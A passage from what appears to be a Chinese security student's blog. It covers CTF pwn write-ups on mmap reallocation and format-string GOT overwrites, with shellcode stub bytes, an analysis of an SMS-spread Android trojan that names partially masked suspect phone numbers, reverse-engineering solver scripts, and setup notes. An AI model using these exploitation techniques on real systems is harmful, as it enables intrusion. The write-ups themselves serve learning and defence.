    return</span> 0</span>;</span></span>
}</span></span>
</span>
/*</span></span>
Run result:</span></span>
$ ./a.o</span></span>
Addr 1 is 0x89008000</span></span>
Addr 2 is 0xf7793000</span></span>
Addr 3 is 0xf7792000</span></span>
Addr 4 is 0xf7791000</span></span>
Addr 5 is 0xf7790000</span></span>
</span>
And debug it:</span></span>
gef➤  vmmap</span></span>
     Start        End     Offset Perm Path</span></span>
.....</span></span>
0x89008000 0x89009000 0x00000000 rwx </span></span>
...</span></span>
0xf7fd0000 0xf7fd4000 0x00000000 rwx    //Caused by ASLR</span></span>
...</span></span>
*/</span></span></code></pre>
我原本以为OS在指定的地址已被分配的情况下，再次试图获取指定地址，就会发生访问违例，但是看来并不是这样的。OS会另找一块地址，并且重新分配。</p>
现在再来看这个题的执行流程。首先会试图分配一段内存，并将用户输入置入到offset+0xffa</code>开始的内存中，然后将你输入的前五个字节copy到内存的首部，并执行之。初看的话没有入手的地方，因为从0x31337ffa之后只有六个字节可以写入，远远不足以置入shellcode。但是知道了上文所述的特性之后，我们可以多分配几次内存。而由于几次mmap得到的地址是向高地址处分配的，写入的长度也可以随之增加。</p>
总结：</p>

连续两次令执行的代码为83 2C 24 7C C3</code>，用于跳转到程序的最前部，从而重新执行mmap。</li>
接下来打入的值为你要布局的Shellcode。为了保证跳转正常执行，要先打入一段stub：\xe8\xff\x0f\x00\x00</code></li>
</ul>
脚本同样见附件。</p>
安恒429 - 复赛 Pwn 1 & 2</h2>
这个Pwn1和Pwn2实际上是几乎完全一样的程序。区别在于，Pwn1关闭了DEP，这也使得Pwn1有几种不同的攻击方式。</p>
官方对Pwn1给出的Exp，是通过格式化字符串打出Stack上的信息，获得Canary和之前保存的调用现场，然后利用其后的一个栈溢出漏洞，复写返回地址。这个Exp的主要是靠信息泄露拿到Canary，防止进入stack_chk_fail</code>里。这种思路体现的是对信息泄露的利用。</p>
但是，有了格式化字符串这个大杀器，我们实际是可以进行任意地址读写的，那实际根本没有必要绕过Canary，可以直接去复写plt表。这里，@Ashitaka 的思路是，通过复写_stack_chk_fail@got.plt</code>的值为一个ret</code>的地址，然后触发一个异常，从而直接让EIP置于栈上，绕过了ASLR。这个主要是利用了任意地址写，修改plt表，来控制代码流程。</p>
但这种做法受制于Stack的Execute位，因此在Pwn2中，这两种方法都不适用了。因为这两场比赛相差不久，因此我直接在CCTF的Hack the FTP Server的基础上做了一些修改，得到了Pwn1&2通用的脚本，只可惜由于去了一次卫生间，被几只队伍拿到了FB……我对脚本只是在攻击流程上做了一些修改。因为考虑到利用两次格式化字符串（一次获取ASLR的基址，一次写入目标地址），需要让第一个格式化字符串同时做两个操作。这种方法通用性还可以，但需要一些时间，如果有之前的脚本积累的话，会快很多。</p>
这里记录下来，主要还是学习下@Ashitaka 的思路，他的这个思路我之前还真没用过。另外，如果准备充分，实际是不需要libc也能拿下的。</p>
关于我最近在干什么</h2>
又是好久没发博客了。最近在处理一些比较杂的问题，然后还和大家一起打了几波CTF，也是蛮有趣的（与此同时带来的是我几科开始亮红灯了…没办法你让我去看那些有的没的我也是不想看啊…）。而也在谋划着想去心仪的公司实习，但目前看来简历也还不是很充实啊…唉。</p>
主要投入了CTF比赛是CCTF和安恒429。CCTF的Pwn只拿下了一道，当时的状态也是差到了一定境界了，虽然拿下了几个题，但是速度不是很好，exp的质量也特别差。</p>
安恒比赛的时候反而还好一些，线上赛打出了几个题，进入上午的复赛之后，毫无意料的拿下了两个Pwn，剩下的Pwn由于自己还没接触过双重释放的洞，没拿下，这个还要继续搞才可以，总之两个Web和两个Pwn主导，我们在60->10的复赛中进入了第八名。而之前我们也基本没考虑过进入下午的决赛，因此基本没有做什么准备，也直接导致了下午被长亭、Cy大佬等一大批大触们吊打，最后还是靠Web的零星几个攻击才比NPC分数稍微高一点。</p>
回头在车上和队友们一点点的复盘，觉得即使我们有准备，实力也不足以让我们拿到更高的名次了。下午的攻防赛赛棍众多，比赛节奏也非常快，没什么喘息的空间，我一开始甚至完全没有意识到自己的机器已经被别人拿到Root权限了。下午守护的Pwn题实际就是上午Pwn3的一个修改版，我也完全没能力攻击，只能在几个地方做一些简单的防护。最后由于没啥方法，索性直接开始强行终止wget和curl进程。因为运维方面没有什么高效的现场运维工具，对恶意代码的检测也不及时，导致了我们始终无法处理掉Shell。比赛中间我的Pwn二进制文件还被某个队伍删了一波，连备份文件都被删了，这个也导致了我们失分。而在比赛的最后阶段，由于某只不明队伍对我们的攻击，我们的注册功能也不可用，直接由于业务不可用被扣分。</p>
总结起来，被打的原因大概可以归结为：</p>

技术实力不足</li>
缺乏自动化工具等资源</li>
对比赛的一些套路不太熟悉</li>
</ul>
总之以后还是要多和大牛们出来打比赛，平时也不能只在实验室看剧了（误。而关于自动化工具，只能依靠大家自己平时多写脚本了，到时候慢慢做资源积累。</p>
算起来，真正进入信息安全这个坑可能差不多有一年了吧。磕磕绊绊的，总也是走过来了。接下来的一年虽然烦人的事增加了很多，但还是希望自己还有力量能让自己走下去吧。“不忘初心”是有点煽情的，但还是希望自己能做到这一点。</p>
//Fin@T41</em></span></p>


对某Android木马样本的简要分析
2016-03-28T00:00:00+00:00
样本介绍</h2>

样本名称：结婚请柬.apk</li>
捕获渠道：手机短信 点击链接下载</li>
捕获日期：1/19/2016</li>
文件大小：329674 bytes</li>
SHA256: 620CD55EF6E709F3B5B2625F9F425613C65929F7643923C9C816A29FFBAF3CBD</li>
SHA1: A60D4ACD69BDAF04B0BF841F2EB5A10CCDF2BECA</li>
</ul>
内容分析</h2>
直接对apk解包，发现其没有进行混淆，便于直接分析。</p>
从资源文件中可以看到，该木马获取的主要权限有：收发、拦截短消息；读写通话记录；读取联系人；向SD卡中写入文件。另外，通过将自己置为短信广播的接受者，在收到短信时触发对应动作。该木马还将自己注册成为开机自启动项目，并定时唤醒，以达到随时活动的目的。此外，该木马还将自己添加为设备管理器，以防止自己被卸载。</p>
</p>
</p>
</p>
</p>
安装完成后，首次启动程序时，会启动附带的服务，并试图激活设备管理器。同时，将会删除自己在主屏幕上的图标，隐藏自身。</p>
</p>
</p>
服务端首次启动时，会向控制者的手机发送短信和IMEI。同时，通过邮件向控制者指定的邮箱发送消息。</p>
</p>
服务端通过短信接受控制者的指令。当发送短信开头为特定组合时，将会执行不同的命令，如：开通或取消呼叫转移业务、获取短信、获取通讯录、短信拦截等。</p>
</p>
设定了短信拦截后，特定来源的信息将会被直接拦截，并发送到预置的手机号。由于攻击者的邮箱密码明文置入到了木马中，因此我们可以直接看到众多受害者的资料。从中可以发现，有一部分受害者已经经受了经济损失。</p>
</p>
</p>
</p>
</p>
其他情况</h2>
某受害者收到一条的短信如下：</p>
</p>
其中，受害人名称与其真实信息一致。短信链接指向电信云公共存储服务中的某文件，其内容为本病毒的apk文件。同时，我们在控制者的网盘帐号中，也看到了相同的病毒文件。</p>
从收件箱收到的短信看，这款木马于1月13日上线，迄今收到320封信件，其中有效受害者约20名。被植入木马的受害者中，大部分位于北京、广州等地。而与发件人相关的手机号码共三个，其中，159****3474和132****6895为*哲所有，135****3441为*煜鹏所有，二人主要活动地点可能位于广东省深圳市，且可能为常住人口。此外，从代码风格看，该款木马可能是由有多名（至少两名）一定基础的初学者自行开发。</p>
这款木马没有采用反混淆手段，在系统中的隐藏痕迹并不明显，可认为该款木马主要目标为零基础的智能手机用户。结合木马获取的资料分析，中招人群多数为经理、官员等，尤其是平时对计算机接触不多的普通用户。</p>
总结</h2>
可以推测，控制者利用短信群发平台或伪基站等手段，以已有的社工库为基础，向受害者发送包含病毒链接消息。用户如果不小心下载并执行病毒文件，则所有短信和通话均有可能被拦截，导致受害者经受经济损失。此外，通过获取受害者的通讯录，可以对已有受害者的朋友、家属等，展开新一轮相同的攻击。更危险的是，对特定受害者的通讯录、短信进行具体分析，有可能采用诈骗电话等手段进行进一步攻击。</p>
我们建议，一般的手机用户应自行安装安全防护软件，并提高安全警惕，拒绝下载、安装来源不明的软件安装包，并定时清理手机病毒。</p>


RCTF 2015 Reverse 复盘
2016-02-24T00:00:00+00:00

这是一篇尚未完成的文章</p>
</blockquote>
Re100: NeoYang</h2>
not sequence:100</span></span>
</span>
The sequence is not a sequence But RE is RE</span></span></code></pre>
祭出IDA，可以看到两个关键判断函数。</p>
程序读入一长串数字后开始运算。第一个判断函数位于.text:0804867B</code>，当输入正确的密码时，对其描述为：对password[i*(i+1)/2:i*(i+3)/2]</code>中的元素集合A，满足sum(A)==2**(i+1)</code>且A中的任意元素x满足x!=0</code>时循环正常进行，其中i=0,1,2,..,19</code>；该函数返回值即为等差数列个数i。不妨认为password</code>是一个三角形的数列，每行为含有i+1项的斐波契那数列，即可满足要求。这样可以构造出一个可以通过该函数的样例：</p>
fp</span>=</span>open</span>(</span>'eg'</span>,</span>'w'</span>)</span></span>
for</span> i</span> in</span> range</span>(</span>20</span>)</span>:</span></span>
    for</span> j</span> in</span> range</span>(i</span>+</span>1</span>)</span>:</span></span>
        if</span> (j</span><</span>2</span>)</span>:</span></span>
            fp</span>.</span>write</span>(</span>'1 '</span>)</span></span>
        else</span>:</span></span>
            fp</span>.</span>write</span>(</span>str</span>(</span>2</span>**</span>(j</span>-</span>1</span>))</span>+</span>' '</span>)</span></span>
    fp</span>.</span>write</span>(</span>'</span>\n</span>'</span>)</span></span>
fp</span>.</span>write</span>(</span>"0</span>\n</span>"</span>)</span></span>
fp</span>.</span>close</span>()</span></span></code></pre>
第二个函数位于.text:08048731</code>，要求对于上面建立的三角数列，对于任意i=range(1,20)</code>满足password[19][i]=sum(password[i-1][:18])</code>。将上式修改为下面的帕斯卡三角的输出程序，则可得到正确结果：</p>
def</span> pas_triangles</span>():</span></span>
    a</span> =</span> [</span>1</span>]</span></span>
    while</span> True</span>:</span></span>
        yield</span> a</span></span>
        a</span> =</span> [</span>sum</span>(i)</span> for</span> i</span> in</span> zip</span>([</span>0</span>]</span> +</span> a</span>,</span> a</span> +</span> [</span>0</span>])]</span></span>
</span>
if</span> __name__</span> ==</span> "__main__"</span>:</span></span>
    fp</span>=</span>open</span>(</span>'trig'</span>,</span>'w'</span>)</span></span>
    g</span> =</span> pas_triangles</span>()</span></span>
    for</span> n</span> in</span> range</span>(</span>20</span>)</span>:</span></span>
        i</span>=</span>next</span>(g)</span></span>
        for</span> j</span> in</span> i</span>:</span></span>
            fp</span>.</span>write</span>(</span>"</span>%d</span> "</span>%</span>(j))</span></span>
        fp</span>.</span>write</span>(</span>'</span>\n</span>'</span>)</span></span>
    fp</span>.</span>write</span>(</span>"0</span>\n</span>"</span>)</span></span>
    fp</span>.</span>close</span>()</span></span></code></pre>
</p>
按照要求即可得到flag。</p>
Re200:tank</h2>
消息循环位于.text:00401700</code>处，处理函数为.text:00402B50</code>，在对结构体进行分析后可确定该结构体最后一个双字保存着当前所在等级。进行一些简单的操作后可以看到对等级进行判断以及将flag写入文件的函数，用0x39作为密钥，异或之后就可以得出结果了</p>
</p>
Re300:crackMe</h2>
是一个Win32程序。将程序载入IDA后，可以看到大量的区域处于未识别状态。导入函数只有Kernel32.dll中的LoadLibraryA</code>、
GetProcAddress</code>、VirtualProtect</code>和ExitProcess</code>，推断这个程序是被加壳过的，PEiD检查后证实了这是
个UPX壳，在官网找到upx后，直接upx -d即可脱出来（手动怎么都脱不下来，以后慢慢研究，说不定又能混一篇文章）。用IDA加载脱壳
之后的程序，可以看到一组花指令，如下图：</p>

</p>
可以看到这组指令执行的工作就是，调用压入栈中的子程序，并跳过这组指令其后的两条指令，继续执行。这样我们可以用下面的一组指令替换这些花指令：</p>
</p>
之后我们可以发现，该程序是在将程序末尾附加的另外一个文件读入内存并用0x07解密：</p>
</p>
从内存中dump出来后，可以看到这才是真正的解Flag程序。同样用UPX脱壳后分析程序工作流程。这个程序使用的反分析技巧类似于部分恶意软件，将会把内存中
部分执行后不需要用的代码随机加密，有至少三处采用了这样的做法（因此动态调试的时候请记住先调整好.text为可写），但这并不影响我们对其进行静态分析。
程序直接从缓冲区读入字符串后，将其转化为十六进制性质的字符串，首先通过下图所示的comp_1()</code>函数进行处理。这里首先从字符串生成一个类似于KMP
算法中的“部分匹配表”，之后将每个字符与匹配表中的数据和25加和后的结果异或，之后再次将其转化为十六进制字符串。将每个字符存入一个二叉树之后，进行深
度优先遍历，再将结果与一个表做匹配，如果内容相等，则认为输入正确。</p>
这个二叉树的构造实在是骨骼精奇，我到现在还没解开它。但是有趣的是，涉及到二叉树建立的.text:401120</code>和.text:401160</code>与输入并没有
关系。因此我们只要将二叉树建立的这部分代码复制出来，然后构造一个1,2,3,4,...,...</code>的输入，就可以将这个步骤转化成为一个简单的置换。下面
的这个python脚本输出的结果，就是进入二叉树之前的数据：</p>
slen</span>=</span>27</span></span>
tree</span>=</span>[[</span>0</span>,</span>0</span>,</span>0</span>]</span> for</span> i</span> in</span> range</span>(</span>4</span>*</span>slen)]</span></span>
ret</span>=</span>[i</span> for</span> i</span> in</span> range</span>(</span>4</span>*</span>slen)]</span></span>
src</span>=</span>list</span>(</span>"22722272222227272222727a2222222222272222272222222222cfdceeeebb9fdbcdbbedfdede7ce9bebe0bb1e2ceab9e2bbbdecf9d8"</span>)</span></span>
dst</span>=</span>list</span>(</span>range</span>(</span>len</span>(src)))</span></span>
m</span>=</span>0</span></span>
def</span> sub_401120</span>(</span>index</span>):</span></span>
    global</span> tree</span></span>
    left</span>=</span>0</span></span>
    if</span> (tree[index][</span>0</span>]</span>!=-</span>1</span>)</span>:</span></span>
        left</span>=</span>sub_401120</span>(tree[index][</span>0</span>])</span></span>
    right</span>=</span>tree[index][</span>2</span>]</span></span>
    if</span> (right</span>!=-</span>1</span>)</span>:</span></span>
        left</span>+=</span>sub_401120</span>(right)</span></span>
    return</span> (left</span>+</span>1</span>)</span></span>
</span>
</span>
def</span> tree_connect</span>(</span>root</span>,</span>target</span>):</span></span>
    global</span> tree</span></span>
    result</span>=</span>root</span></span>
    pos</span>=</span>root</span></span>
    pos_idxL</span>=</span>tree[root][</span>0</span>]</span></span>
    if</span> (pos_idxL</span>==-</span>1</span>)</span>:</span></span>
        tree[result][</span>0</span>]</span>=</span>target</span></span>
        return</span> result</span></span>
    else</span>:</span></span>
        while</span> ( tree[pos][</span>2</span>]</span> != -</span>1</span> )</span>:</span></span>
            v5</span> =</span> sub_401120</span>(pos_idxL)</span>;</span></span>
            if</span> (</span>sub_401120</span>(tree[pos][</span>2</span>])</span> <=</span> v5</span>+</span>4</span> )</span>:</span></span>
                result</span>=</span>tree[pos][</span>2</span>]</span></span>
            else</span>:</span></span>
                result</span>=</span>tree[pos][</span>0</span>]</span>;</span></span>
            pos</span>=</span>result</span></span>
            pos_idxL</span>=</span>tree[result][</span>0</span>]</span></span>
            if</span> (pos_idxL</span> == -</span>1</span>)</span>:</span></span>
                tree[result][</span>0</span>]</span>=</span>target</span></span>
                return</span> result</span></span>
        #result*=3</span></span>
        tree[result][</span>2</span>]</span>=</span>target</span></span>
        result</span>*=</span>3</span></span>
    return</span> result</span></span>
</span>
def</span> dfs</span>(</span>pos</span>):</span></span>
    global</span> tree</span></span>
    global</span> m</span></span>
    global</span> ret</span></span>
    flag</span>=</span>1</span></span>
    while</span>(flag</span> or</span> pos</span>!=-</span>1</span>)</span>:</span></span>
        flag</span>=</span>0</span></span>
        if</span> (tree[pos][</span>0</span>]</span> != -</span>1</span>)</span>:</span></span>
            dfs</span>(tree[pos][</span>0</span>])</span></span>
        ret[m]</span>=</span>tree[pos][</span>1</span>]</span></span>
        m</span>+=</span>1</span></span>
        pos</span>=</span>tree[pos][</span>2</span>]</span></span>
    return</span> pos</span></span>
</span>
</span>
tree[</span>0</span>][</span>0</span>]</span>=-</span>1</span></span>
tree[</span>0</span>][</span>1</span>]</span>=</span>0</span></span>
tree[</span>0</span>][</span>2</span>]</span>=-</span>1</span></span>
for</span> i</span> in</span> range</span>(</span>1</span>,</span>4</span>*</span>slen)</span>:</span></span>
    tree[i][</span>0</span>]</span>=-</span>1</span></span>
    tree[i][</span>1</span>]</span>=</span>i</span></span>
    tree[i][</span>2</span>]</span>=-</span>1</span></span>
    tree_connect</span>(</span>0</span>,</span>i)</span></span>
m</span>=</span>0</span></span>
dfs</span>(</span>0</span>)</span></span>
print</span>(ret)</span></span>
for</span> i</span> in</span> range</span>(</span>len</span>(src))</span>:</span></span>
    dst[ret[i]]</span>=</span>src[i]</span></span>
print</span>(dst)</span></span>
dst_decoded</span>=</span>str</span>()</span>.</span>join</span>([</span>chr</span>(</span>int</span>(</span>"0x"</span>+</span>dst[i]</span>+</span>dst[i</span>+</span>1</span>]</span>,</span>16</span>))</span> for</span> i</span> in</span> range</span>(</span>0</span>,</span>len</span>(dst)</span>,</span>2</span>)])</span></span>
print</span>(dst_decoded)</span></span>
print</span>(</span>len</span>(dst_decoded))</span></span>
#Result:*y+.+{-~---~./++/,-~/,. .--~,+/+.).+.z,|++-~..+),(+!+)</span></span></code></pre>
</p>
接下来我们就要将这段字符串反向为原始的字符串。这里采用穷举法：</p>
src</span>=</span>"*y+.+{-~---~./++/,-~/,. .--~,+/+.).+.z,|++-~..+),(+!+)"</span></span>
hexlist</span>=</span>"1234567890ABCDEF"</span></span>
temp</span>=</span>[i</span> for</span> i</span> in</span> range</span>(</span>54</span>)]</span></span>
</span>
for</span> k</span> in</span> range</span>(</span>-</span>25</span>,</span>30</span>)</span>:</span></span>
    temp</span>=</span>[</span> chr</span>(</span>ord</span>(i)</span>^</span>(</span>25</span>+</span>k))</span> for</span> i</span> in</span> src]</span></span>
    #decoded=str().join([chr(int("0x"+temp[i]+temp[i+1],16)) for i in range(0,len(temp),2)])</span></span>
    decoded</span>=</span>""</span>.</span>encode</span>(</span>'ascii'</span>,</span>'ignore'</span>)</span></span>
    for</span> i</span> in</span> range</span>(</span>0</span>,</span>len</span>(temp)</span>,</span>2</span>)</span>:</span></span>
        #decoded=str().join([chr(int("0x"+temp[i]+temp[i+1],16)) for i in range(0,len(temp),2)])</span></span>
        if</span> temp[i]</span>.</span>upper</span>()</span> in</span> hexlist</span> and</span> temp[i</span>+</span>1</span>]</span>.</span>upper</span>()</span> in</span> hexlist</span>:</span> </span></span>
            p</span>=</span>int</span>(</span>"0x"</span>+</span>temp[i]</span>+</span>temp[i</span>+</span>1</span>]</span>,</span>16</span>)</span></span>
            if</span> p</span> in</span> range</span>(</span>0x</span>20</span>,</span>0x</span>7f</span>)</span>:</span></span>
                ch</span>=</span>chr</span>(p)</span></span>
            else</span>:</span></span>
                ch</span>=</span>" "</span></span>
        else</span>:</span></span>
            ch</span>=</span>" "</span></span>
        #print("%d %d %c %c %c"%(k,i,temp[i], temp[i+1], ch))</span></span>
        decoded</span>+=</span>ch</span>.</span>encode</span>(</span>'ascii'</span>,</span>'ignore'</span>)</span></span>
    print</span>(decoded)</span></span></code></pre>
结果如下</p>
</p>
随便挑一个合适的就好啦</p>
</p>
先写这些吧 有时间接着写</p>


随手记一下自己的惯用环境配置
2016-01-27T00:00:00+00:00
回家就装上了KUbuntu，结果krunner经常崩溃，又格盘装回了Windows。正好有机会重新配置下自己的环境，在这里随手记录下自己的配置。</p>

安装系统，只分一个默认分区。先用系统自带的更新工具更新所有补丁和驱动，然后去官网下载显示器和键盘的驱动。进行系统激活后安装杀毒软件。</li>
Shadowsocks-CSharp作为socks代理，qt5版本作为http(s)代理。obfs做混淆客户端。</li>
Proxifier对部分应用程序应用代理，Chrome安装后同步所有内容；Dropbox做一些配置文件和密码库的同步，Keepass作为密码存储工具。Dropbox将Everything、IDM和Proxifier的配置同步到本地，安装Everything，恢复IDM。</li>
安装Python2和Python3，并把Python3加入PATH中。安装7-zip、Notepad++、VS、JRE和Git，恢复并重置相关配置。</li>
安装Office，配置好自定义模板和Outlook账户；安装VMWare、SecureCRT、WinDbg。</li>
恢复Freemind、Aria2、Lingoes、Sublime、WinHex等软件。恢复开机启动脚本。</li>
统一配置并恢复所有软件的配置。</li>
</ol>
要点：</p>

尽量多的使用绿色软件，或者重装之前下载好最新版本的安装包，防止浪费时间</li>
将软件配置等到Dropbox中，以便恢复</li>
个人文档用OneDrive、Google Drive进行转移</li>
Shrink掉部分文件</li>
</ul>
Aria的配置：</p>
daemon=true</span></span>
enable-rpc=true</span></span>
rpc-allow-origin-all=true</span></span>
rpc-listen-all=false</span></span>
rpc-listen-port=<PORT></span></span>
rpc-secret=<RPC></span></span>
max-concurrent-downloads=5</span></span>
continue=true</span></span>
max-connection-per-server=8</span></span>
min-split-size=10M</span></span>
split=10</span></span>
input-file=aria2.session</span></span>
save-session=aria2.session</span></span>
save-session-interval=60</span></span>
dir=C:\Users\<Username>\Downloads</span></span></code></pre>
兼记两个tips。</p>
一个是处理PowerShell的ExecPolicy的。建立boot.cmd，写入：</p>
type Bootup.ps1 | PowerShell.exe</span> -</span>noprofile</span> -</span></span></code></pre>
启动项里启动boot.cmd即可</p>
另外一个是处理Linux下Dropbox问题的：</p>

上https://www.dropbox.com/zh_CN/install?os=lnx</a> 下载包，并安装。先不运行</li>
按照如下修改/usr/bin/dropbox 地址换成可以访问的机器 记得备份</li>
</ul>
57,58c57,60</span></span>
< DOWNLOAD_LOCATION_FMT = "https://www.dropbox.com/download?plat=%s"</span></span>
< SIGNATURE_LOCATION_FMT = "https://www.dropbox.com/download?plat=%s&signature=1"</span></span>
---</span></span>
> DOWNLOAD_LOCATION_FMT = "http://<HERE FILL IN THE BACKUP ADDRESS>/x86_64"</span></span>
> SIGNATURE_LOCATION_FMT = "http://<HERE FILL IN THE BACKUP ADDRESS>/x86_64_sig"</span></span>
> #DOWNLOAD_LOCATION_FMT = "https://www.dropbox.com/download?plat=%s"</span></span>
> #SIGNATURE_LOCATION_FMT = "https://www.dropbox.com/download?plat=%s&signature=1"</span></span>
244c246</span></span>
<         return download_file_chunk(DOWNLOAD_LOCATION_FMT % plat(), self.local_file)</span></span>
---</span></span>
>         return download_file_chunk(DOWNLOAD_LOCATION_FMT, self.local_file)</span></span>
249c251</span></span>
<         for _ in download_file_chunk(SIGNATURE_LOCATION_FMT % plat(), signature):</span></span>
---</span></span>
>         for _ in download_file_chunk(SIGNATURE_LOCATION_FMT, signature):</span></span></code></pre>

运行 dropbox start -i 或Alt+Space呼出控制板后启动dropbox，原样安装即可</li>
如果有必要就还原</li>
</ul>
也可以直接proxychains dropbox start -i 不过有时候不好用</p>


At the Beginning of 2016
2016-01-22T00:00:00+00:00
作为重度拖延症患者，终于开始在回家的火车上动手写这篇年终总结了。</p>
简单回顾下过去的一年，发现自己并没有做什么正事。没有打很多线下赛，技术上也并没有什么系统的长进，学习上依然是一塌糊涂；生活上呢，很不幸，从懒变得更懒了，而且似乎更重了一些（sigh。</p>
说到有什么进步的，大概就是败家的总支出好像又多了一些吧：</p>

轨迹球</strong>。为了防止自己的鼠标手更严重，年终的时候再京东上剁了一个肯辛通的。推荐重度电脑用户们使用，很舒服，而且很好用。此外为了处理更严重的颈椎问题，淘了个简单的电脑支架</strong>。妈妈再也不用担心我弯腰玩电脑了 （并没有</del></li>
机械键盘</strong>。穷人，所以买了 Rapoo V500S 茶轴版。背光很难看，但是手感勉强还可以，唯一不足的就是声音太大，因此把它从宿舍放到了实验室。</li>
WD 2TB机械硬盘</strong>。严重的数据囤积症患者，而且各种虚拟机什么的也完全不足以用那个已经出现坏道的500GB容纳，所以狠下心来买了个2TB的移动硬盘，希望能帮助自己吧。这块硬盘和键盘一起，目前是出去时候的标配了。</li>
笔记本键盘</strong>。实际发生这种事情大家都不想的……开学培训前一天把水洒到了键盘上，没有把CPU烧毁已经是万幸了，淘宝上换一块合适的键盘又是很麻烦的一个过程……总之，最后还是找到了一家靠谱的店，买到了键盘，用起来还不错。</li>
手机屏幕</strong>。没错，又更换了一次手机屏幕。这次是因为旧的屏幕触屏出现了问题……唉还是要多多努力，争取自己给自己换一部手机才是啊。</li>
</ul>
还有很多小东西就不一一列举了。总之都算下来的话，应该占年度支出的30%吧甚至更多。每次剁手的时候都隐隐作痛，然后就毫不在意的付款了……果然资金管理啥的还是要好好注意才可以。</p>

技术方面呢，也还是那样。总体看来，今年并没有成型的学到什么技术，杂七杂八的东西似乎倒是知道了不少……见过很多漏洞然而还是日不下来站/写不出exp的我啊，这一年也仅仅做了这个博客。大约用了一两个星期的样子？目前还处在一边建设一边用的状态，偶尔想到什么就会改一改。虽然项目已经是上传到了github上，但并没有实现自动部署，也没有特别注重对git的使用，可能还需要更多实际项目的经验吧。</p>
新的一年会逐渐回到正常的学习轨道，会系统的学习一些东西。比赛啊报告啊什么的，也不能太水了，还是要多和伙伴们打一些现场赛才好。我感觉，跟线上赛相比，现场赛似乎更类似于真正的工作环境，无论是从人员分配上还是从赛事布局上看。</p>
现场赛的主力似乎与二进制相关的并不是很多。与防守方类似的业务保障类比赛，可能对逆向水平有很高的要求，但类似于攻方的渗透实战类，对二进制水平要求并没有前者那么高。我觉得这可能与实际场景有关，在实际的攻击过程中，大部分入口点都在Web上，二进制上的入口在没有二进制文件的情况下很难挖掘，而如果你能获取到二进制文件，很可能就不需要对其进行细致的分析了……当然，还是要看拿到目标的具体情况。很多时候，负责二进制的队员同时还要去负责对目标机器种下的后门进行强化，这时候要求就不低了。</p>
去年11月底的时候，抽时间简单整理了下目前我能接触到的个人信息资产。目前能追溯到最早的两个物理痕迹，一个是06年注册的一个邮箱，另外一个是04年左右制作的一张光盘。又回忆了下，确认自己接触计算机是从2001年前后开始的，那时候好像还是因为某些奇怪的原因接触到了一台Windows……而直到现在我都认为，09年~12年，虽然我没有电脑可以用，但这段时间反而是我产出量最高的阶段。手绘GUI、手写代码等等的，也基本都是那时候常用的手段。万幸，08年开始，我认识了XT，而之后的几年里，我也不用因为别人玩DNF而我写程序而纠结了。毕竟，他一边玩DNF一边写程序啊……</p>
13年，高考。就这样吧。于是14年我来到了这里。</p>
断断续续的，与计算机接触了15年。说过很多梦话，做过很多傻事。但看看周围，觉得自己的成长速度也不算很慢了，除了这两年。综合周围的环境来看，现在的环境简直比家里好不止千百倍，而这两年也本应该是成长最快的阶段，但很可惜，自己成长的并没有想像中那么快。</p>
或许是时候给自己一些压力了——希望自己不会爆掉。</p>
嗯，先这样吧，火车挺快的，没信号了。</p>
新的一年，各位也要加油努力哦！</p>


Some small reverse programs
2015-11-21T00:00:00+00:00
Here I'd like to share some small and simple problems in some CTF games. They are much too easy for those advanced players, so actually, this is just something could practice my English...</p>
"Easy"</h2>
Load into the IDA and you can go to the kernel function directly, as the images below.</p>

</p>
Since the password table is hard-coded into the program, a easy way to solve it is enter a random string, which length is 16 chars, and break on every time EIP==0x8048521</code>. Do not forget to modify 74 1A</code> to EB 1A</code>.
However, to let it painful, I decided to look into its algorithm and calculate out a register code.</p>
In the picture above, s</code> is the location of inputed string, while var_C</code> is loop counter i</code>. FYI, sar eax, 1Fh</code> here is equal to shr eax, 1Fh</code> since eax is always a relatively small positive number.
We can write the python version of the check function:</p>
password</span> =</span> [</span>0x</span>76</span>,</span>0x</span>70</span>,</span>0x</span>42</span>,</span>0x</span>4A</span>,</span>0x</span>51</span>,</span>0x</span>5F</span>,</span></span>
            0x</span>5E</span>,</span>0x</span>5D</span>,</span>0x</span>40</span>,</span>0x</span>41</span>,</span>0x</span>54</span>,</span>0x</span>53</span>,</span></span>
            0x</span>59</span>,</span>0x</span>5A</span>,</span>0x</span>50</span>,</span>0x</span>56</span>]</span></span>
inputcode</span> =</span> raw_input()</span></span>
if</span> len</span>(inputcode)</span>!=</span>16</span>:</span></span>
    print</span>(</span>"Error!"</span>)</span></span>
    exit</span>(</span>-</span>1</span>)</span></span>
for</span> i</span> in</span> range</span>(</span>len</span>(inputcode))</span>:</span></span>
    if</span> password[i]</span> !=</span> ord</span>(inputcode[i])</span> ^</span> ord</span>(inputcode[(((((i</span>+</span>1</span>)</span>>></span>0x</span>1F</span>)</span>>></span>0x</span>1C</span>)</span>+</span>(i</span>+</span>1</span>))</span>&</span>0x</span>0F</span>)</span>-</span>(((i</span>+</span>1</span>)</span>>></span>0x</span>1F</span>)</span>>></span>0x</span>1C</span>)])</span>:</span></span>
        print</span>(</span>"Error!"</span>)</span></span>
        exit</span>(</span>-</span>1</span>)</span></span>
print</span>(</span>"OK!"</span>)</span></span></code></pre>
Then it's time to simplify this program. Since i</code> is not big, so the shr</code> will result in zero. Then the if</code> sentence can be changed into:</p>
if</span> password[i]</span> !=</span> inputcode[i]</span> ^</span> inputcode[(i</span>+</span>1</span>)</span>&</span>0x</span>0F</span>]</span></span></code></pre>
So we can ensure that this program will treat string as a loop, and do xor between current item and next item. When those values meets, it is the right char.
Apparently, just get a possible string:</p>
password</span> =</span> [</span>0x</span>76</span>,</span>0x</span>70</span>,</span>0x</span>42</span>,</span>0x</span>4A</span>,</span>0x</span>51</span>,</span>0x</span>5F</span>,</span></span>
            0x</span>5E</span>,</span>0x</span>5D</span>,</span>0x</span>40</span>,</span>0x</span>41</span>,</span>0x</span>54</span>,</span>0x</span>53</span>,</span></span>
            0x</span>59</span>,</span>0x</span>5A</span>,</span>0x</span>50</span>,</span>0x</span>56</span>]</span></span>
visiable_chars</span>=</span>list</span>(</span>"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-*/.`~!@#$%^&()_</span>{}</span>[]|</span>\\</span>;:'</span>\"</span>,<.>"</span>)</span></span>
</span>
</span>
for</span> init_char</span> in</span> visiable_chars</span>:</span></span>
    code</span> =</span> [ []</span> for</span> i</span> in</span> range</span>(</span>16</span>) ]</span></span>
    flag</span> =</span> 1</span></span>
    code[</span>0</span>]</span> =</span> ord</span>(init_char)</span></span>
    for</span> i</span> in</span> range</span>(</span>15</span>)</span>:</span></span>
